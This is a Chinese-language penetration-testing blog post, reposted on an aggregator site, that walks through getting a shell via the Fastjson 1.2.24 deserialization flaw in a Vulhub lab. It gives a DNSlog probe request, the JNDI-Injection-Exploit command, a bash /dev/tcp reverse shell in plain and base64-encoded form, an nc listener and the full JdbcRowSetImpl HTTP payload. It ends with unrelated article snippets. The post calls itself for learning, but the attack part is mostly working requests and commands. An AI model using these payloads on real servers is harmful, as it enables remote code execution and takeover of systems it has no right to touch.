渗透测试-Fastjson反序列化漏洞getshell

目录

前言

测试环境准备

dnslog测试

搭建rmi服务器&准备恶意类

引用JdbcRowSetImpl攻击

反弹shell$命令执行

总结


关键字:fastjson 1.2.24反序列化导致任意命令执行漏洞

注:本次渗透测试全在虚拟机中进行仅用于学习交流,请勿在实际网络中攻击他人服务器。

前言

        最原始的需求是将字符串传参解析成json格式的数据 ,但json库不满足现有的功能(很多包都有这样的特点,妙用之法)还支持把字符串解析成javabean;在解析成jacabean的时候内部一些get方法可能被调用。且Fastjson 库还可以通过 @type 注解自动推断出对象对应的具体类型,从而正确地将 JSON 字符串转换成 Java 对象。

示例、

 String jsonString = "{\"@type\":\"json.Student\",\"age\":5,\"name\":\"Tom\",\"telephone\":\"123456\"}";JSONObject jsonObject = JSON.parseObject(jsonString);System.out.println(jsonObject);System.out.println(jsonObject.getClass());

输出

然而在实际测试中,我发现不同的java类,fastjson库对其的处理方式还不同,就拿java.net.Inet4Address 这个类举例,{"a":{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}} fastjson最终会调用java.net.Inet4Address类中getByName方法 ,而且传入的host就是val这个dnslog地址。

既然可以指定任意类实例化,而内部某些get方法可以调用,参数还控。 那这就可能引发一些安全上的问题。

本次测试利用fastjson反序列化漏洞,让目标主机执行命令反弹shell。

注:本次渗透测试全在虚拟机中进行仅用于学习交流,请勿在实际网络攻击他人服务器。

测试环境准备

本次以来采用容器平台Vulhub,到Ubuntu虚拟机中vulhub/fastjson/1.2.24-rce目录中执行命令启动漏洞容器:docker-compose up-d

访问站点

dnslog测试

像这个服务以post的方式,打一个dnslog。payload准备:

dnslog:{"a":{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}}

Content-Type: application/json //注意这个头要加上

请求内容payload 参考

POST / HTTP/1.1
Host: 192.168.218.134:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 77

{"a":{"@type":"java.net.Inet4Address","val":"f6ac1ab5b7.ipv6.1433.eu.org.."}}

搭建rmi服务器&准备恶意类

1.本次采用JNDI-Injection-Exploit工具,直接一把梭哈。(下载地址:我也是在网上找到的)

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "xxxxxxxxxxxxxxxxxxxxxxxxxx" -A "192.168.218.1"

 -C指定让目标主机执行的命令,-A为指定本地监听的IP

2.准备要执行的反弹shell命令

bash -i >& /dev/tcp/<attacker_ip>/<port> 0>&1

在实际的测试中,这条命令始终不成功无法反弹shell。我猜测可能在传输过程中有些字符被转码了。

解决方案:使用base64解码后以bash的方式执行。

将bash -i >& /dev/tcp/192.168.218.1/4444 0>&1 这样的命令base64编码放到下面的位置

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxOC4xLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}

在将这个命令被JNDI-Injection-Exploit工具 -C指定,生成rmi服务器。

3.nc在本机上监听4444端口,等待反弹shell的连接

引用JdbcRowSetImpl攻击

将生成rmi服务的地址放入到payload:dataSourceName值中

POST / HTTP/1.1
Host: 192.168.218.134:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 77

{
    "a":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://http://192.168.218.1:1099/nc78zv",
        "autoCommit":true
    }
}

把请求包打过去,观察JNDI-Injection-Exploit工具输出的信息

和预期的一直,当服务器请求这个rmi服务时,rmi会返回一个恶意类的网络路径。之后服务器请求这个路径下载试图实例化这个恶意类。log a request to http:......

反弹shell$命令执行

这时查看我们的nc是否反弹了shell

是否可以执行命令

总结

        点点关注,纯手写。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/175282.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Visual Studio(VS)C++项目 管理第三方依赖库和目录设置

发现很多程序员存在这种做法&#xff1a;把项目依赖的第三方库的lib和dll放在项目目录下&#xff0c;或者复制到输出目录&#xff0c;因为每种配置都有不同的输出目录&#xff0c;所以要复制多份&#xff08;至少包括Debug和Release两个输出目录&#xff09;&#xff0c;这些做…

Mac电脑配置Dart编程环境

1.安装Dart SDK 官网地址&#xff1a;https://dart.dev/get-dart $brew tap dart-lang/dart$brew install dart 安装后&#xff0c;用命令检测一下是否安装正常。 $brew info dart 2.VS Code配置Dart环境 1).安装VS Code 官网地址&#xff1a;https://code.visualstudio.c…

如何在 Photoshop 中使用污点修复画笔

学习污点修复画笔工具的基础知识&#xff0c;以及如何使用它来修复、平滑和删除图像中不需要的部分 1.如何在 Photoshop 中使用污点修复画笔 步骤1 在 Photoshop 中使用污点修复画笔的方法有很多。今天&#xff0c;让我们用它来去除这只手臂上的一些较小的纹身。 步骤2 在我…

少儿编程 2023年9月中国电子学会图形化编程等级考试Scratch编程四级真题解析(选择题)

2023年9月scratch编程等级考试四级真题 选择题(共25题,每题2分,共50分) 1、角色为一个紫色圆圈,运行程序后,舞台上的图案是 A、 B、 C、 D、 答案:A

Star History 九月开源精选 |开源 GitHub Copilot 替代

虽然大火了近一年&#xff0c;但是截至目前 AI 唯一破圈的场景是帮助写代码&#xff08;谷歌云旗下的 DORA 年度报告也给 AI 泼了盆冷水&#xff09;。不过对于软件开发来说&#xff0c;生成式人工智能绝对已经是新的标配。 本期 Star History 收集了一些开源 GitHub Copilot …

HQChart使用教程97-K线X轴滚动条

HQChart使用教程97-K线X轴滚动条 效果图创建步骤1. 创建滚动条div2. 初始化滚动条实例3. 配置滚动条属性4. 创建滚动条5. K线图和滚动条绑定6. 滚动条显示位置 完整示例HQChart代码地址 效果图 示例地址&#xff1a;https://jones2000.github.io/HQChart/webhqchart.demo/sampl…

生产级 React 框架介绍

文章目录 生产级 React 框架生产级 React 框架Next.jsRemixGatsbyExpo 如何选择生产级 React 框架 生产级 React 框架 React 是一个流行的 JavaScript 框架&#xff0c;用于构建用户界面。React 框架可以帮助你快速构建高质量的 React 应用&#xff0c;但并不是所有的 React 框…

【uniapp】JavaScript基础学习-20231027

今天有找到一个比较好的网站 https://www.w3school.com.cn/js/index.asp 介绍也全面&#xff0c;内容也比较多。我觉得把最基本的语法看看&#xff0c;然后可以上手写代码了。其他的就是需要靠长期的学习和积累了。 基础语法的使用&#xff1a; 1、定义一个变量 2、对变量赋值 …

YB4606最大2A电流的可编程过压保护开关IC

概述&#xff1a; YB4606的前端是过电压和过电压电流保护装置。它实现了宽输入电压范围从2.5Voc到40Voc。过电压阈值可以外部编程或设置为内部默认设置。的超低电阻集成电源路径nFET开关确保更好电池充电系统应用性能。它可以提供高达2A的电流&#xff0c;以满足电池供应系统。…

MATLAB中perceptron函数用法

目录 语法 说明 示例 使用感知器求解简单分类问题 perceptron函数的功能是简单的单层二类分类器。 语法 perceptron(hardlimitTF,perceptronLF) 说明 注意 Deep Learning Toolbox™ 支持早期形式的感知器。为了获得更好的结果&#xff0c;您应改用 patternnet&#xff0…

阿里云服务linux系统CentOs8.5安装/卸载nginx1.15.9

说明&#xff1a;尝试使用CentOs8.5安装nginx1.9.9失败&#xff0c;make的时候报错了&#xff0c;后面降低版本为CentOs7.5安装成功了&#xff0c;参考文章:【精选】centos7安装nginx-1.9.9_linx centos nginx 1.9.9版本 nginx error log file: "/-CSDN博客 一、安装ngin…

机器学习-特征选择:如何使用互信息特征选择挑选出最佳特征?

一、引言 特征选择在机器学习中扮演着至关重要的角色&#xff0c;它可以帮助我们从大量的特征中挑选出对目标变量具有最大预测能力的特征。互信息特征选择是一种常用的特征选择方法&#xff0c;它通过计算特征与目标变量之间的互信息来评估特征的重要性。 互信息是信息论中的一…

小程序开发——小程序项目的配置与生命周期

1.app.json配置属性 app.json配置属性 2.页面配置 app的页面配置指的是pages属性&#xff0c; pages数组的第一个页面将默认作为小程序的启动页。利用开发工具新建页面时&#xff0c;则pages属性对应的数组将自动添加该页面的路径&#xff0c;若是在硬盘中添加文件的形式则不…

前端打印表格功能+单号生成条形码

第一种打印方法&#xff1a;不需要下载任何插件 浏览器自带打印功能&#xff08;不太推荐&#xff09;&#xff0c;原理是生成新的页面后被打印&#xff0c;当打印完成或者取消打印时&#xff0c;页面需要强制刷新&#xff0c;否则页面无法回显。 //打印功能 print() {var pr…

【Docker】Linux路由连接两个不同网段namespace,连接namespace与主机

如果两个namespace处于不同的子网中&#xff0c;那么就不能通过bridge进行连接了&#xff0c;而是需要通过路由器进行三层转发。然而Linux并未像提供虚拟网桥一样也提供一个虚拟路由器设备&#xff0c;原因是Linux自身就具备有路由器功能。 路由器的工作原理是这样的&#xff…

算法刷题记录6 - 反转链表和链表两两交换

哎&#xff0c;都两周没刷题了&#xff0c;罪过 第一题 2023.10.29 周日 上链接 206. 反转链表 难度&#xff1a;简单 代码随想录 文档 代码随想录 视频 这道题说难不难&#xff0c;但是也不知道是太久没写没感觉了还是确实细节多&#xff0c;不看视频确实感觉不出写的问题在…

边缘计算技术的崭新篇章:赋能未来智能系统

边缘计算是近年来云计算和物联网技术发展的重要趋势。通过将数据处理和分析从云端迁移到设备边缘&#xff0c;边缘计算能够实现更低的延迟和更高的数据安全。本文将探索边缘计算技术的最新进展及其在不同行业中的应用场景。 1. 实时数据处理与决策 在需要快速响应的场景中&…

理解android AIDL

理解Android AIDL 在研究了 Android Frameworks 中进程间通信&#xff08;IPC&#xff09;相关的一些程序后&#xff0c;了解到 Android 系统中进程间通信的机制绝大部分就是 Binder&#xff0c;主要表现在系统服务的调用&#xff0c;app进程间功能调用等。而 Android 上实现 …

虚幻C++基础 day1

虚幻C概念 虚幻C类的继承结构 虚幻引擎C类层级结构(Hierarchy) 这些基本类又派生出了很多子类&#xff0c;例&#xff1a; UE中的反射与垃圾回收系统 例如一个创建了一个Actor类&#xff0c;有一个Actor类型指针去指向这个Actor类&#xff0c;如果的指针被销毁了&#xff…

38基于matlab的期货预测,利用PSO优化SVM和未优化的SVM进行对比,得到实际输出和期望输出结果。

基于matlab的期货预测&#xff0c;利用PSO优化SVM和未优化的SVM进行对比&#xff0c;得到实际输出和期望输出结果。线性核函数、多项式、RBF核函数三种核函数任意可选&#xff0c;并给出均方根误差&#xff0c;相对误差等结果&#xff0c;程序已调通&#xff0c;可直接运行。 3…